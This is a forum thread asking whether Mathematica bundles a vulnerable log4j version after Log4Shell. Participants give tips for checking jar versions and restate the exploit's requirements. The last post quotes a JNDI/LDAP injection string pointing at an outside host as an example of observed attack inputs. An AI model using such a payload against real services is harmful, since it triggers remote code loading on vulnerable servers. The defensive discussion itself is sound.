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Mathematica security patch for log4j "Log4Shell" vulnerability?

Posted 5 years ago

Is a security fix for the log4j "Log4Shell" vulnerability available for Mathematica, or is a fix expected? Based only on a quick grep, it looks like Mathematica's RLink and its MS Access and NetCDF support might use log4j, and the included OPSIN library certainly does (and an update for it was recently committed). At this point I have no evidence that Mathematica is exploitable in practice, but it seemed prudent to ask if there is an update or if one is forthcoming.

POSTED BY: Derek S
6 Replies

Thank you for your concern. Our teams are aware of the issue. Please contact technical support directly for further information.

http://www.wolfram.com/support/contact

POSTED BY: EDITORIAL BOARD
Posted 5 years ago

the file name shows as log4j-1.2.16.jar on my machine. Is that the version 2.16 that is patched?

POSTED BY: Edward Donie
Posted 5 years ago

Hi, no I'm afraid that's a rather old version--if it were the patched version, it would read 2.16.0. One way to check is to unzip the .jar file (JARs are actually ZIP archives, just with ".jar" instead of ".zip" at the end of the name); doing so shows files dated 2010.

Note that the vulnerable log4j code could be nested into other .jar files, i.e., files named *log4j*.jar visible at the file system level may not be the only vulnerable instances of the log4j code on the system.

[Clarification: The previous post apparently refers to the log4j used by Mathematica's RLink.]

POSTED BY: Derek S
Posted 5 years ago
POSTED BY: Brad Klee
Posted 5 years ago
POSTED BY: Derek S
Posted 5 years ago

There was a nice article about this on ars technica (and about a million other places on twitter and google news). If you need more detailed instructions how to, see also lunasec:

Exploit Requirements​

  1. A server with a vulnerable log4j version (listed above),

  2. an endpoint with any protocol (HTTP, TCP, etc) that allows an attacker to send the exploit string,

  3. and a log statement that logs out the string from that request.

Point 2 is important and suggestive of more immediate concern needed for here this address, or a more attractive subject is prob. https://www.wolframcloud.com/. (Though I don't think wolfram is attracting too much negative attention relative to google or twitter.).

What's amazing if you look at pics of the "Analysis" is that it appears many of the "successful" (ugh) calls are going through fields that should have some sort of validation... Nobody's name is actually "${jndi:ldap://little.com/a}".

The real sad part is that while crooks get famous and anonymous at once, knowledgeable experts get only viewers numbered in the hundreds? See also: Tanja Lange: Intro to Cryptography. Free course from TUE, best in world class, and only ~200 views? Another example of biasing issues with online media. Added value, some will find Tanja funnier than SNL:

"...But don't say attack. Call it analysis instead."

LOL!

POSTED BY: Brad Klee